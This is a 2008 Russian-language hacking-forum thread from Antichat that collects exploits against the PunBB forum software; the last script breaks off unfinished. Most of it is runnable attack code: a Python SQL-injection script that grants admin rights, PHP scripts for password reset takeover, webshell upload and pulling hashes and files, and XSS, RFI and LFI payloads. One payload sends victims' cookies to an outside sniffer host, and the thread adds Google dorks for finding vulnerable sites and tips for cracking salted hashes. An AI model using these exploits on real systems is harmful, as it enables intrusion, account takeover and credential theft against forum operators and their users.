ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Обзор уязвимостей PunBB]
  #1  
Старый 20.01.2008, 04:28
Аватар для ettee
ettee
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747

Репутация: 5170
По умолчанию [Обзор уязвимостей PunBB]

PunBB <= 1.2.14 Remote Code Execution Exploit
PunBB version <= 1.2.2 Authentication Bypass Exploit
ShAnKaR: multiple PHP application poison NULL byte vulnerability
PunBB 1.2.4 (change_email) SQL Injection Exploit


1.2.11
PHP код:
 index.php&req_subject=test&req_message=test"><script>alert(1);</script> 
<= 1.2.16(moderate.php)
PHP код:
preg_match('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/'$_GET['get_host'])) 
moderate.php?get_host=1.1.1.1<script>alert(1)</script>

<= 1.2.16
PHP код:
moderate.php?get_host=1.1.1.1<script>alert(1)</script
<= 1.2.15 (message_popup.php) XSS code vulnerability
PHP код:
<?php echo $lang_pms['Popup new'],  $return['sender'], $lang_pms['Popup subj'], $return['subject'?><br><?php echo  $lang_pms['Popup send'],  format_time($return['posted']) ?>
<= 1.2.13 SQL Injection
PHP код:
search.php?action=search&keywords=hello&author=&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=1&result_list[< UNION SQL QUERY >/*]&1763905137=1&1121320991=1 
dork: warning: ini_get has been

Remote File Inclusion in forum PunBB 1.1.2 >> 1.1.5
PHP код:
 include/common.php?pun_root=http://www.host_evil.com/cmd?&=id 
PunBB <= 1.2.4 - change email to become admin exploit

Код:
#!/usr/bin/python
##################################################  #####################
#  _  _                _                     _       ___  _  _  ___ 
# | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
# |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
#                                                        
##################################################  #####################
#         Proof of concept code from the Hardened-PHP Project 
##################################################  #####################
#
#                           -= PunBB 1.2.4 =-
#                   change_email SQL injection exploit
#
#  user-supplied data within the database is still user-supplied data
#
##################################################  #####################

import urllib
import getopt
import sys
import string

__argv__ = sys.argv

def banner():
    print "PunBB 1.2.4 - change_email SQL injection exploit"
    print "Copyright (C) 2005 Hardened-PHP Project\n"

def usage():
    banner()
    print "Usage:\n"
    print "   $ ./punbb_change_email.py [options]\n"
    print "        -h http_url   url of the punBB forum to exploit"
    print "                      f.e. http://www.forum.net/punBB/"
    print "        -u username   punBB forum useraccount"
    print "        -p password   punBB forum userpassword"
    print "        -e email      email address where the admin leve activation email is sent"
    print "        -d domain     catch all domain to catch \"some-SQL-Query\"@domain emails"
    print ""
    sys.exit(-1)

def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")
    except getopt.GetoptError:
        usage()

    if len(__argv__) < 10:
        usage()

    username = None
    password = None
    email = None
    domain = None
    host = None
    for o, arg in opts:
        if o == "-h":
	    host = arg
        if o == "-u":
            username = arg
        if o == "-p":
            password = arg
        if o == "-e":
            email = arg
        if o == "-d":
            domain = arg

    # Printout banner
    banner()

    # Check if everything we need is there
    if host == None:
        print "[-] need a host to connect to"
	sys.exit(-1)
    if username == None:
        print "[-] username needed to continue"
        sys.exit(-1)
    if password == None:
        print "[-] password needed to continue"
        sys.exit(-1)
    if email == None:
        print "[-] email address needed to continue"
        sys.exit(-1)
    if domain == None:
        print "[-] catch all domain needed to continue"
	sys.exit(-1)
	
    # Retrive cookie
    params = {
        'req_username' : username,
	'req_password' : password,
	'form_sent' : 1
    }

    wclient = urllib.URLopener()

    print "[+] Connecting to retrieve cookie"

    req = wclient.open(host + "/login.php?action=in", urllib.urlencode(params))
    info = req.info()
    if 'set-cookie' not in info:
        print "[-] Unable to retrieve cookie... something is wrong"
        sys.exit(-3)
    cookie = info['set-cookie']
    cookie = cookie[:string.find(cookie, ';')]
    print "[+] Cookie found - extracting user_id"
    user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]
    print "[+] User-ID: %d" % (int(user_id))
    wclient.addheader('Cookie', cookie);

    email = '"' + email[:string.find(email, '@')] + '"@' + email[string.find(email, '@')+1:] + ',"\','
    append = 'group_id=\'1'
    email = email + ( ((50-len(append))-len(email)) * ' ' ) + append + '"@' + domain

    params = {
        'req_new_email' : email,
	'form_sent' : 1
    }

    print "[+] Connecting to request change email"        
    req = wclient.open(host + "profile.php?action=change_email&id=" + user_id,
urllib.urlencode(params))        

    print "[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin"

if __name__ == "__main__":
    main()
PunBB BBCode URL Tag Script Injection Vulnerability
PHP код:
 [color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th  is.sss));'sss=`i=new/**/Image();i.src='http://baba/sniffer.php?c='+document.cookie;this.sss=null`styl  e='font-size:0;][/url][/url]'[/color] 


-punbb_users
--id
--group_id
--username
--password


Dork example:
intext:"Powered by PunBB 1.2.5"
intext:"Powered by PunBB" -"1.2.6" -"1.2.7"
intext:"Powered by PunBB 1.1.0...7" OR "Powered by PunBB 1.2.0...7"
intext:"Powered by PunBB" -"1.2.6" -"1.2.7" inurl:index.php -blog -inurl:"page=info" -inurl:"page=all" -inurl:"showtopic"
intext:"Powered by PunBB" -"1.2.6" -"1.2.7" inurl:index.php -blog

Последний раз редактировалось ettee; 20.01.2008 в 04:40..
 
Ответить с цитированием

Криптографическая атака
  #2  
Старый 20.01.2008, 04:45
Аватар для ettee
ettee
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747

Репутация: 5170
По умолчанию Криптографическая атака

Алгоритм шифрования в куках:
PHP код:
md5($cookie_seed.md5(password)) 
Пример:
md5($cookie_seed.md5("123"))="beae53ed5f767f344b03 646a1aa5b16e"
В состав строгого значения входят символы из ряда "abcdef1234567890".

Схема генерации куков:
PHP код:
md5($cookie_seed.$pun_user['password']) 
$pun_user['password'] - sha1() или md5() хеш пароль пользователя.
$cookie_seed - соль ("идентична" для всех пользователей).

Дефолтное значение алгоритма для $cookie_seed(config.php):
PHP код:
 function pun_hash($str)
{
    if (
function_exists('sha1'))    // Only in PHP 4.3.0+
        
return sha1($str);
    else if (
function_exists('mhash'))    // Only if Mhash library is loaded
        
return bin2hex(mhash(MHASH_SHA1$str));
    else return 
md5($str);

PasswordPro не обладает алгоритмом перебора md5(salt.md5(pass)) поэтому будем использовать метод "перебор по маске":
"Набор символов" для пользовательской маски: ?1: abcdef1234567890
Маска: ?1?1?1?1?1?1?1?1202cb962ac59075b964b07152d234b70
Значение длины: 40-40

===
UPDATE: PasswordPro теперь имеет соответствующий модуль

Последний раз редактировалось Elekt; 03.09.2008 в 04:11..
 
Ответить с цитированием

PunBB <= 1.2.16 Blind Password Recovery Exploit
  #3  
Старый 21.02.2008, 09:33
Аватар для Solide Snake
Solide Snake
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме:
5516499

Репутация: 3702


Отправить сообщение для Solide Snake с помощью ICQ
По умолчанию PunBB <= 1.2.16 Blind Password Recovery Exploit

PunBB <= 1.2.16 Blind Password Recovery Exploit

http://www.milw0rm.com/exploits/5165

Код:
<?php
/**
 * Original : http://sektioneins.de/advisories/SE-2008-01.txt
 * Thanks to Stefan Esser, here's the exploit.
 *
 * Team : EpiBite
 * firefox, petit-poney, thot
 * Nous tenons a remercier nos mamans et papas respectifs.
 * Let's get a fu*** coffee !
 */

// conf
define('URL', 'http://localhost/punbb_1-2-16_fr/upload');	// base url
define('EMAIL', 'login_x@epitech.net');				// your email
define('LOGIN', 'login_x');					// your login
define('PASS', '620553.8I73');					// your pass
// Exploit
printf("--\nUrl : %s\nEmail : %s\n--\n", URL, EMAIL);
$h = curl_init();
curl_setopt($h, CURLOPT_URL,
URL.'/userlist.php?username=&show_group=-1&sort_by=registered&sort_dir=ASC&search=Envoyer');
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
$s = curl_exec($h);
preg_match('/profile\.php\?id=([0-9]*)">([^<]*)</', $s, $m);
define('ADMIN', $m[2]);
preg_match('/<td class="tcr">([0-9]{4})-([0-9]{2})-([0-9]{2})<\/td/', $s, $m);
if (count($m))
  define('DATE', mktime(0, 0, 0, $m[2], $m[3], $m[1]));
else
  define('DATE', time() - 86400); //just in case, the forum or account
just has been created
printf("Admin : %s\nDate : %s\n--\n", ADMIN, DATE);
$h = curl_init();
curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2');
// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($h, CURLOPT_HEADER, 1);
curl_setopt($h, CURLOPT_POST, 1);
curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
						       'req_email='.urlencode(EMAIL),
						       'request_pass=Envoyer')));
preg_match('/mailto:([^"]*)"/', curl_exec($h), $m);
define('ADMIN_MAIL', $m[1]); // Admin email (normally automatically
get, set manually if there's problem)
printf("Admin mail : %s\n--\n", ADMIN_MAIL);
$h = curl_init();
curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2');
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
curl_setopt($h, CURLOPT_COOKIE,
'punbb_cookie='.rawurlencode(serialize(array(0 => 2, 1 =>
md5('bite')))));
curl_setopt($h, CURLOPT_HEADER, 1);
curl_setopt($h, CURLOPT_POST, 1);
curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
						       'req_email='.urlencode(ADMIN_MAIL),
						       'request_pass=Envoyer')));
$s = curl_exec($h);
preg_match('/Set-Cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('MD5_NOT_LOGGUED', $c[1]);
printf("Md5 not loggued : %s\n--\n", MD5_NOT_LOGGUED);
$h = curl_init();
curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=in');
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($h, CURLOPT_HEADER, 1);
// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');
curl_setopt($h, CURLOPT_POST, 1);
curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',
						       'redirect_url=index.php',
						       'req_username='.LOGIN,
						       'req_password='.PASS)));
$s = curl_exec($h);
preg_match('/Set-Cookie:.*punbb_cookie=([^;]*)\;/', $s, $m);
$c = unserialize(urldecode($m[1]));
define('MD5_LOGGUED', $c[1]);
printf("Md5 loggued : %s\n--\n", MD5_LOGGUED);
define('PASS_MD5ED', sha1(PASS));
$chars = array('/', '-', "\\", '|');
for ($p = 0; $p < 86400 * 2; $p++)
{
  if (!($p % 300))
    echo $chars[($p / 300) % 4]."\r";
  if (strcmp(MD5_LOGGUED, md5(substr(md5((int)(DATE + $p)),
-8).PASS_MD5ED)) == 0)
    {
      define('SEED', substr(md5(DATE + $p), -8));
      break;
    }
}
printf("Seed : %s\n--\n", SEED);
for ($p = 0; $p < 1000000; $p++)
{
  if (!($p % 300))
    echo $chars[($p / 300) % 4]."\r";
  mt_srand((double)$p);
  if (strcmp(md5(SEED.random_pass(8)), MD5_NOT_LOGGUED) == 0)
    {
      define('SRAND', $p);
      break;
    }
}
printf("SRAND : %s\n--\n", SRAND);
mt_srand(SRAND);
random_pass(8);
printf("New password : %s\n--\n", random_pass(8));
$url = URL.'/profile.php?id=2&action=change_pass&key='.random_pass(8);//
Id is set to '2' (the admin's id, but you can change your target)
$h = curl_init();
curl_setopt($h, CURLOPT_URL, $url);
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
curl_exec($h);
function random_pass($len)
{
  $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
  $password = '';
  for ($i = 0; $i < $len; ++$i)
    $password .= substr($chars, (mt_rand() % strlen($chars)), 1);
  return $password;
}

# milw0rm.com [2008-02-21]

Последний раз редактировалось Elekt; 03.09.2008 в 04:10..
 
Ответить с цитированием

PunBB module Automatic Image Upload with Thumbnails <= 1.3.4 arbitary file upload
  #4  
Старый 17.06.2008, 18:09
Аватар для Goudini
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме:
1652093

Репутация: 490
Отправить сообщение для Goudini с помощью ICQ
По умолчанию PunBB module Automatic Image Upload with Thumbnails <= 1.3.4 arbitary file upload

PHP код:
<?php
# PunBB module Automatic Image Upload with Thumbnails <= 1.3.4 arbitary file upload
# h3ck.[rv.ua], 2008

$host 'localhost'# хост
$path '/punbb/';   # путь к форуму
$file_type 'image/gif';
$file_name 'sh1.gif.php'# название нового файла
$file_code '<?php phpinfo(); ?>'# код, который будем выполнять
$cookie 'punbb_cookie=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A32%3A%220b9ca83006024ac122e2b1c459c0804f%22%3B%7D'# без авторизации не будет работать..
$file_content base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==');
$post_data = <<<POST
------------9cYrkcaQ3YTUyzCSnL8xD2
Content-Disposition: form-data; name="form_sent"

1
------------9cYrkcaQ3YTUyzCSnL8xD2
Content-Disposition: form-data; name="imagefile"; filename="
$file_name"
Content-Type: 
$file_type

${file_content}${file_code}
------------9cYrkcaQ3YTUyzCSnL8xD2
Content-Disposition: form-data; name="uploadimg"

Submit
------------9cYrkcaQ3YTUyzCSnL8xD2--

POST;
$post_len strlen($post_data);
$req = <<<REQ
POST http://${host}${path}uploadimg.php?subpage=upload HTTP/1.0
User-Agent: Opera/9.27 (Windows NT 5.1; U; ru)
Host: 
$host
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: uk-UA,uk;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Cookie: 
$cookie
Content-Length: 
$post_len
Content-Type: multipart/form-data; boundary=----------9cYrkcaQ3YTUyzCSnL8xD2
Connection: Close

$post_data
REQ;
$fp fsockopen($host80$errno$errstr30);
if (!
$fp) { echo "$errstr ($errno)<br />\n"; }
else {
    echo 
"Sending... <pre>$req</pre>\n";
    
fwrite($fp$req);
    while (!
feof($fp)) { echo fgets($fp); }
    
fclose($fp);
}
?>

Последний раз редактировалось Elekt; 03.09.2008 в 04:08..
 
Ответить с цитированием

PunBB Migration Tool 1.4.0
  #5  
Старый 18.07.2008, 12:48
Аватар для baltazar
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию PunBB Migration Tool 1.4.0

PunBB Migration Tool 1.4.0

Download URL:
Код:
http://punbb.er.cz/czmirror/PunBB_Migration_Tool-1.4.0.tar
Bug Type:Local File Inclusion

Bug In:
Код:
converters/index.php
Vulnerable Code:
Код:
<?php   // Load a specific page         else{              if(file_exists($_GET['page'] . '.php'))               include $_GET['page'] . '.php';            else               include 'settings.php';     ?>
Proof Of Concept:http://www.website.com/[path]/converters/index.php?page=/etc/passwd%00
 
Ответить с цитированием

PunBB 1.2.17 Sql injection & File reader
  #6  
Старый 23.07.2008, 19:42
Аватар для Doom123
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию PunBB 1.2.17 Sql injection & File reader

Код:
v1.2.17 punbb.ru rev87 
/message_popup.php
message_popup.php?id=0+UNION+SELECT+user_id,concat_ws(0x3a,table_name),2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+номер таблицы,1
узнаем префикс по таблицам.
-----------------------------------SQL<
/message_popup.php?id=0+union+select+user_id,username,3,password+from+[PREFIX]users+where+id=2
Узнаем имя и хеш админа.
-----------------------------------SQL<
download.php
/download.php?aid=9+union+select+1,file,3,user_id,null,1
просматриваем файлы на хосте
-----------------------------------SQL<
user_id - Ваш id на форуме через который вы зашли

By @Fatal@ aka Doom123

PHP код:
<?php

/**
 * @author @Fatal@
 * @copyright HWT©2008
 * 
 *   PunBB expl0it
 * 
 * Уязвимость существует по причине недостатачной обработки
 * входящх данных в файле download.php!
 * 
 * Овтор не несёт ответствености за использоваение данного скрипта!
 * Используйте его на свой страх и риск!  
 * 
 *  Уязвимость нашёл @Fatal@.
 */
 
if (isset($_POST['start']))
{
  if (!empty(
$_POST['login']) && !empty($_POST['pass']) && !empty($_POST['host']) && !empty($_POST['id']) && !empty($_POST['path']))
    {
      
define("_HOST"$_POST['host']);
        
define("_PORT"80);

        function 
cookie($ans)
        {
            
$head 'Cookie:';
            foreach (
$ans as $val)
            {

                if (
preg_match('#Set-Cookie:(.+)#is'$val$pock))
                {
                    
$co explode(';'$pock['1']);
                    
$head .= ' ' trim($co[0]) . ';';
                }
            }
            return 
$head " \r\n";
        }

        function 
Prepare_POST_array($arr)
        {
            
$out '';
            foreach (
$arr as $key => $line)
            {
                if (
$out == '')
                    
$out .= $key '=' urlencode($line);
                else
                    
$out .= '&' $key '=' urlencode($line);
            }

            return 
$out "\r\n\r\n";
        }

        function 
post_query($path$param$cook ''$AnswerFlag true)
        {
            
$out "POST " $path " HTTP/1.1\r\n";
            
            if (
$param == array())
            {
                
$out "GET " $path " HTTP/1.1\r\n";
                
$data "";
            } else
                
$data Prepare_POST_array($param);
                
            
$fp fsockopen(_HOST_PORT$errno$errstr30);
            if (!
$fp) return false;
            
            
            
$out .= "Host: " _HOST "\r\n";
            
$out .= "Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
            
$out .= "Content-Length: " strlen($data) . "\r\n";
            
$out .= "User-Agent: Opera/9.27 (Windows NT 5.1; U; ru)\r\n";
            
$out .= $cook;
            
$out .= "Connection: Close\r\n\r\n";
            
$out .= $data;

            
fwrite($fp$out);
            if (
$AnswerFlag)
            {
                while (!
feof($fp))
                {
                    
$answer[] = fgets($fp1024);
                }
            } else
                
$answer true;
                
                
            
fclose($fp);
            return 
$answer;
        }
            
$array = array(
      
'form_sent' => '1'
      
'redirect_url' => 'index.php'
      
'req_username' => $_POST['login'], 
      
'req_password' => $_POST['pass'], 
      );
      
        
$ans post_query($_POST['path'].'login.php?action=in'$array);
        
$a cookie($ans);

  if(
$_POST['method'] != 2)
  {
      if (!empty(
$_POST['nid']))
      {
        if(empty(
$a))
          
$error 'Не верно введены логин или пароль';
        
        else {
        
$page $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+users+WHERE+id+like+'.$_POST['nid'];
        
        
$ans2 post_query($page, array(), $a);
        
$str implode('',$ans2);
        
        if(
strrpos($str"doesn't exist (Errno: 1146)") !== false)
        {
      
preg_match("# Table '(.+?)\.users' doesn't exist \(Errno: 1146\)#is",$str,$pock);
      
$hex '0x'.bin2hex($pock[1]);
      
$page $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,table_name,3,'.$_POST['id'].',null,6+FROM+information_schema.columns+WHERE+table_schema+like+'.$hex;
          
$ans3 post_query($page, array(), $a);
          
$str implode('',$ans3);
          
preg_match('#PunBB reported</strong>: (.+?)attachments - this file does not exist#is',$str,$pock);
          
$pref = isset($pock[1]) ? $pock[1] : $_POST['prefix'];
      
$page $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+'.$pref.'users+WHERE+id+like+'.$_POST['nid'];  
      
$ans2 post_query($page, array(), $a);
      
$str implode('',$ans2);
    }
    
preg_match('#PunBB reported</strong>: (.{0,40}) - this file does not exist#is',$str,$pock);
        echo 
"<center><b><h1>Хеш пользователя:".$pock[1]."</h1></b></center>";
        }
      } else
          
$error "Введите все данные";
    } else {
      if (!empty(
$_POST['file']))
      {
        if(empty(
$a))
          
$error 'Не верно введены логин или пароль';
        
        else {
        
$page $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,"'.$_POST['file'].'",3,'.$_POST['id'].',null,6';
        
$ans2 post_query($page, array(), $a);
    
$i 11;
    while(
array_key_exists($i,$ans2))
    {
      echo 
htmlspecialchars($ans2[$i]).'<br>';
      
$i++;
    }
        }
    } else
      
$error "ВВедите все данные";
    
  }
    } else
    
$error "ВВедите все данные";
}

if(isset(
$error) || !isset($_POST['start']))
{
  echo 
'<center>'.$error."<BR><BR><b>PunBB Expl0it</b><br><br>";
  echo 
'<form method="post">';
  echo 
'Хост: <input type="text" name="host"><br>';
  echo 
'Путь: <input type="text" name="path"><br>';
  echo 
'Префикс: <input type="text" name="prefix"><br>';
  echo 
'Логин: <input type="text" name="login"><br>';
  echo 
'Пароль: <input type="text" name="pass"><br>';
  echo 
'В.id: <input type="text" name="id"><br>';
  echo 
'Н.id: <input type="text" name="nid"><br>';
  echo 
'Файл: <input type="text" name="file"><br>';
  echo 
'Метод: <select name=method><option value=1>Извлечь хэш</option>';
  echo 
'<option value=2>Просмотреть файл</option></select><br>';
  echo 
'<input type="submit" name="start"></form>';
  echo 
'<br><br>В.id - id вашего пользоваетля';
  echo 
'<br>Н.id - id жертвы(Нжно заполнять при первом методе)';
  echo 
'<br>Файл - Путь до файла (При втором методе)';
  echo 
'<br>Путь - Папка форума например /path/  (Если форум не находатся в папке вводим /)';
  echo 
'<br>Префикс - Обычно определяется сам но если не хватает доступа подставляется ваш';
  echo 
'<br><BR><BR>C0ded by @Fatal@ For HW Team</center>';
}
?>

Последний раз редактировалось Doom123; 30.07.2008 в 12:36..
 
Ответить с цитированием

XSS PunBB 1.3RC
  #7  
Старый 28.07.2008, 01:31
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию XSS PunBB 1.3RC

XSS в самой последней версии 1.3RC

Код:
http://punbb/1.3/style/Oxygen/Oxygen.php?base_url=Oxygen.css" onload=alert()> <!---&forum_user[style]=1
__________________
Кто я?..

Последний раз редактировалось Elekt; 03.09.2008 в 04:08..
 
Ответить с цитированием

Multy vuln PunBB <= 1.2.19
  #8  
Старый 30.07.2008, 09:24
Аватар для kremator
kremator
Новичок
Регистрация: 08.02.2008
Сообщений: 2
Провел на форуме:
9294

Репутация: -12
Отправить сообщение для kremator с помощью ICQ
По умолчанию Multy vuln PunBB <= 1.2.19

PunBB версии до 1.2.19

Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и обойти некоторые ограничения безопасности.

1. Уязвимость существует из-за недостаточной обработки входных данных в сценарии include/parser.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

2. Уязвимость существует из-за неизвестной ошибки, которая позволяет удаленному пользователю внедрить произвольные SMTP команды.

Последний раз редактировалось Elekt; 03.09.2008 в 04:07..
 
Ответить с цитированием

видео
  #9  
Старый 12.08.2008, 01:22
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию видео


Последний раз редактировалось Elekt; 03.09.2008 в 04:07..
 
Ответить с цитированием

PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit
  #10  
Старый 19.11.2008, 21:06
Аватар для faza02
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit

http://www.milw0rm.com/exploits/7159
PHP код:
<?php

error_reporting
(0);
ini_set("default_socket_timeout",5);




/*
   
   
    PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit
    -----------------------------------------------------------
    by athos - staker[at]hotmail[dot]it
    download mod http://www.punres.org/files.php?pid=52
    download cms http://punbb.org
    -----------------------------------------------------------
    register_globals = 1
    magic_quotes_gpc = 1
    
    Directory (files/include/pms)

    functions_navlinks.php?pun_user[language]=../../../../../etc/passwd
    profile_send.php?pun_user[language]=../../../../../etc/passwd
    viewtopic_PM-link.php?pun_user[language]=../../../../../etc/passwd

    ../../etc/passwd and nullbyte
    


    File (files/include/pms/functions_navlinks.php)
    
    1. <?php
    2.     require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
    
    $pun_user['language'] isn't declared :D you can include any file
    
    functions_navlinks.php?pun_user[language]=../../../etc/passwd%00
    -------------------------------------------------------------------
    
    File (files/include/pms/header_new_messages.php)
    
    1. <?php
    2. if(!$pun_user['is_guest'] && $pun_user['g_pm'] == 1 && $pun_config['o_pms_enabled'] ){
    3. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
    
    $pun_user['g_pm'] isn't declared
    $pun_config['o_pms_enabled'] isn't declared
    
    header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=../etc/passd%00
    
    
    -------------------------------------------------------------------
    
    File (files/include/pms/profile_send.php))
    
    1. <?php
    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
    
    $pun_user['language'] isn't declared
    
    profile_send.php?pun_user[language]=../../../../etc/passwd%00
    
    -------------------------------------------------------------------
    
    File (files/include/pms/viewtopic_PM-link.php)
    
    1. <?php
    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
    
    $pun_user['language'] isn't declared
    
    viewtopic_PM-link.php?pun_user[language]=../../../../etc/passwd%00
    
    -------------------------------------------------------------------
    
    
    Usage:  php [punbb.php] [host/path] [mode]
            php [punbb.php] [host/path] [save]
            php [punbb.php] [host/path] [NULL]
           
   Example:
            php punbb.php localhost/punbb save
            php punbb.php localhost/punbb
          
                   
    NOTE: Don't add me on MSN Messenger

    
    
*/    

$exploit = new Exploit;
$domain $argv[1];
$mymode $argv[2];

$exploit->starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain,$mymode);

 

class 
Exploit
{
  
  function 
http_request($host,$data
  {   
   
    if(!
$socket socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) 
    {
       echo 
"socket_create() error!\r\n";
       exit;
    }
    if(!
socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))
    { 
      echo 
"socket_set_option() error!\r\n";
      exit;
    }
    
    if(!
socket_connect($socket,$host,80))
    {
      echo 
"socket_connect() error!\r\n";
      exit;
    }
    if(!
socket_write($socket,$data,strlen($data)))
    {
      echo 
"socket_write() errror!\r\n";
      exit;
    }
  
    while(
$get socket_read($socket,1024,PHP_NORMAL_READ)) 
    { 
      
$content .= $get
    }

    
socket_close($socket);
  
   
   
$array = array(
                 
'HTTP/1.1 404 Not Found',
                 
'HTTP/1.1 300 Multiple Choices',
                 
'HTTP/1.1 301 Moved Permanently',
                 
'HTTP/1.1 302 Found',
                 
'HTTP/1.1 304 Not Modified',
                 
'HTTP/1.1 400 Bad Request',
                 
'HTTP/1.1 401 Unauthorized',
                 
'HTTP/1.1 402 Payment Required',
                 
'HTTP/1.1 403 Forbidden',
                 
'HTTP/1.1 405 Method Not Allowed',
                 
'HTTP/1.1 406 Not Acceptable',
                 
'HTTP/1.1 407 Proxy Authentication Required',
                 
'HTTP/1.1 408 Request Timeout',
                 
'HTTP/1.1 409 Conflict',
                 
'HTTP/1.1 410 Gone',
                 
'HTTP/1.1 411 Length Required',
                 
'HTTP/1.1 412 Precondition Failed',
                 
'HTTP/1.1 413 Request Entity Too Large',
                 
'HTTP/1.1 414 Request-URI Too Long',
                 
'HTTP/1.1 415 Unsupported Media Type',
                 
'HTTP/1.1 416 Request Range Not Satisfiable',
                 
'HTTP/1.1 417 Expectation Failed',
                 
'HTTP/1.1 Retry With',
                );
                
               
    for(
$i=0;$i<=count($array);$i++)
   
    if(
eregi($array[$i],$content)) 
    {
      return (
"$array[$i]\r\n");
      break;
    } 
    else 
    {
      return (
"$content\r\n");
      break;
    }
  }
     
  
  function 
is_vulnerable($host)
  {
    
$host explode('/',$host);
    
    
$header .= "GET /$host[1]/profile_send.php?pun_user[language]=%27 HTTP/1.1\r\n";
    
$header .= "Host: $host[0]\r\n";
    
$header .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
    
$header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
    
$header .= "Accept-Encoding: gzip,deflate\r\n";
    
$header .= "Connection: close\r\n\r\n";
    
    if(
stristr($this->http_request($host[0],$header),"\\'"))
    {  
      echo 
"[+] Magic Quotes GPC/Register Globals On!\n";
      echo 
"[+] Exploit Failed!\n";
      exit;
    }
    else
    {
      return 
false;
    }
  }
  
  function 
starting()
  {
   
    global 
$argv;
    
    if(
preg_match('/http://(.+?)$/',$argv[1]) or empty($argv[1]))
    {
    
      echo 
"[+] PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit\r\n";
      echo 
"[+] by athos - staker[at]hotmail[dot]it\r\n";
      echo 
"    -----------------------------------------------------------\r\n";
      echo 
